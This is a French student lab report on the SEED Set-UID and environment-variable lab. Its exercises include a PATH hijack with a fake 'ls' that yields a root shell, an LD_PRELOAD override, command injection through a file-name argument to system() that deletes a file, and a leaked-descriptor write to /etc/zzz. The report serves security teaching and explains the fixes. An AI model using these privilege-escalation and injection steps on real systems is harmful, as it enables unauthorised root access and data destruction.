Environment Variable and Set-UID Program Lab

Ivan KRIVOKUCA (22306432)
Yohann LETELLIER (22317638)

26 janvier 2025

Table des matières

Task 1 : Manipulating Environment Variables

Commandes Principales

- `printenv` : Affiche toutes les variables
- `printenv VAR` : Affiche une variable spécifique
- `export VAR=valeur` : Définit une variable
- `unset VAR` : Supprime une variable

Task 2 : Passing Environment Variables from Parent Process to Child Process

Étude de l'héritage des variables d'environnement lors d'un *fork()*

- file1 : Version enfant : `printenv()`
- file2 : Version parent : `printenv()`
- Différence : `diff file1 file2`

```
[01/26/25]seed@VM:~/.../Labsetup$ diff file file1
```

Aucune différence entre les deux exécutions

Résultat

- Aucune différence détectée donc copie complète
- Preuve que l'enfant hérite intégralement des variables

Task 3 : Environment Variables and execve()

Version 1 : Sans environnement

- `execve(..., NULL)`
- Aucune variable affichée

Version 2 : Avec environnement

- `execve(..., environ)`
- Toutes les variables affichées

```
[01/26/25]seed@VM:~/.../Labsetup$ gcc myenv.c
[01/26/25]seed@VM:~/.../Labsetup$ ./a.out
[01/26/25]seed@VM:~/.../Labsetup$ gcc myenv.c
[01/26/25]seed@VM:~/.../Labsetup$ ./a.out
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1953,unix/VM:/tmp/.ICE-unix/1953
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
```

Version 1 exécuté en 1er puis la Verison 2

Conclusion

- `execve()` nécessite une transmission explicite des variables
- Aucun héritage automatique

Task 4 : Environment Variables and system()

Étudier la transmission des variables via `system()`.

Comportement

- Transmission automatique des variables
- Utilisation de /bin/sh qui hérite de l'environnement du processus appelant

Implications de Sécurité

- Risque d'exploitation via variables d'environnement

```
[01/26/25]seed@VM:~/.../Labsetup$ gcc test.c
[01/26/25]seed@VM:~/.../Labsetup$ ./a.out
_ESSOPEN=| /usr/bin/lesspipe %s
JSER=seed
SSH_AGENT_PID=1893
```

Task 5 : Environment Variable and Set-UID Programs

Concept Set-UID

Programme s'exécutant avec les privilèges du propriétaire plutôt que de l'utilisateur

```
[01/26/25]seed@VM:~/.../Labsetup$ ls -l foo
-rwsr-xr-x 1 root seed 16768 Jan 26 06:41 foo
```

Figure – -rwsr-xr-x (le s indique le bit Set-UID)

Variables Testées

- PATH
- LD_LIBRARY_PATH
- Variables personnalisées

```
[01/26/25]seed@VM:~/.../Labsetup$ export PATH="/test:$PATH"
[01/26/25]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PATH="/test_lib
[01/26/25]seed@VM:~/.../Labsetup$ export MA_VARIABLE="valeur_secret
```

Figure – Configuration initiale

Résultats des Tests

```
PATH=/test:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/gam
es:/usr/local/games:/snap/bin:.
```

(a) Test PATH

```
MA_VARIABLE=valeur_secrete
```

(b) Test variables personnalisées

```
[01/26/25]seed@VM:~/.../Labsetup$ ./foo |grep "LD_LIBRARY_PATH"
[01/26/25]seed@VM:~/.../Labsetup$
```

(c) Test LD_LIBRARY_PATH

Observations

- `PATH` et `MA_VARIABLE` héritées
- `LD_LIBRARY_PATH` non hérité

Sécurité Linux

- Protection contre l'injection de librairies
- Variables `LD_*` bloquées pour les Set-UID

Task 6 : The PATH Environment Variable and Set-UID Programs.

echo "/bin/bash -p" > /tmp/ls #Créer un faux `ls`
chmod +x /tmp/ls
export PATH=/tmp :$PATH # Modifier PATH
sudo ln -sf /bin/zsh /bin/sh # Contourner la protection dash

Résultat

- Shell root obtenu via `./vuln`

```
bash-5.0# whoami
root
```

Vulnérabilité

- Confiance aveugle dans le PATH utilisateur → possiblité de substitution de commandes

Task 7 : The LD_PRELOAD and Set-UID Programs

Scénario	Commande	Comportement	Explication
Programme normal	`export LD_PRELOAD=./lib mylib.so.1.0.1` `./myprog`	"I am not sleeping !"	LD_PRELOAD force le remplacement de sleep()

Set-UID root	`sudo chown root myprog`
	`chmod 4755 myprog`
	`./myprog`
		Aucun message (utilise sleep() original)	Ignore LD_PRELOAD pour les programmes Set-UID non-root

Root shell	`sudo -s`
	`export LD_PRELOAD=...`
	`./myprog`
		"I am not sleeping !"	LD_PRELOAD est respecté car l'environnement est hérité du propriétaire (root)

User1 Set-UID	`sudo chown user1 myprog` `./myprog`	Aucun message	Le chargeur dynamique ignore LD_PRELOAD si l'utilisateur réel $\neq$ propriétaire du programme

Task 8 : Invoking External Programs Using system() versus execve()

Commande :
`./catall "fichier.txt; rm -f /tmp/test"`

```
[01/26/25]seed@VM:~/.../Labsetup$ touch /tmp/test
[01/26/25]seed@VM:~/.../Labsetup$ echo "contenu test" > fichier.txt
[01/26/25]seed@VM:~/.../Labsetup$ ./catall "fichier.txt; rm -f /tmp/test"
contenu test
[01/26/25]seed@VM:~/.../Labsetup$ cat /tmp/test
cat: /tmp/test: No such file or directory
```

Figure – Exploitation réussie via system()

```
[01/26/25]seed@VM:~/.../Labsetup$ ./catall "fichier.txt; rm -f /tmp/test"
'bin/cat: 'fichier.txt; rm -f /tmp/test': No such file or directory
```

Figure – Protection avec execve()

Analyse Comparative des Méthodes

Critère	system()	execve()
Mécanisme	Exécution via /bin/sh avec interprétation	Exécution directe sans shell
Traitement des arguments	Interprétation des métacaractères (;, |, etc.)	Arguments traités comme littéraux
Niveau de risque	Critique : Injection de commandes possible	Minimal : Pas d'interprétation
Recommandation	À éviter	Méthode préférée pour Set-UID

Task 9 : Capability Leaking

Exploitation

```
[01/26/25]seed@VM:~/.../Labsetup$ ./cap_leak
fd is 3
$ echo "Hacked" >&3
$ exit
[01/26/25]seed@VM:~/.../Labsetup$ cat /etc/zzz
Hacked
```

Analyse

- FD créé avec privilèges root
- setuid() change l'UID
- FD conserve les droits root (car le noyau vérifie les permissions au moment de l'ouverture, pas lors de l'écriture)
- Écriture via FD hérité

Correctifs

- Fermer le file-descripteur avant `setuid()` → close(fd)

```
[01/26/25]seed@VM:~/.../Labsetup$ ./cap_leak
fd is 3
$ echo "Test" >&3
zsh: 3: bad file descriptor
```

Figure – Vérification de la correction